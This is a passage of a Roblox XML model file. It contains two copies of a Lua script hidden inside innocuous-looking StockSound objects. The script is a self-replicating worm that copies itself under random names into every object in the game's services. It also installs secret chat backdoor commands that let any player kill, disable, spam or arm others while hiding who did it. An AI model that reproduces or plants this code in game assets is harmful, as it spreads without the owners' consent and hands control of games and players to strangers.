										<string name="Name">b0bectuth</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX326">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">khlb5i</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX327">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">f5v2hq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX328">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-3.03125525</X>
								<Y>3.32223415</Y>
								<Z>125.427254</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
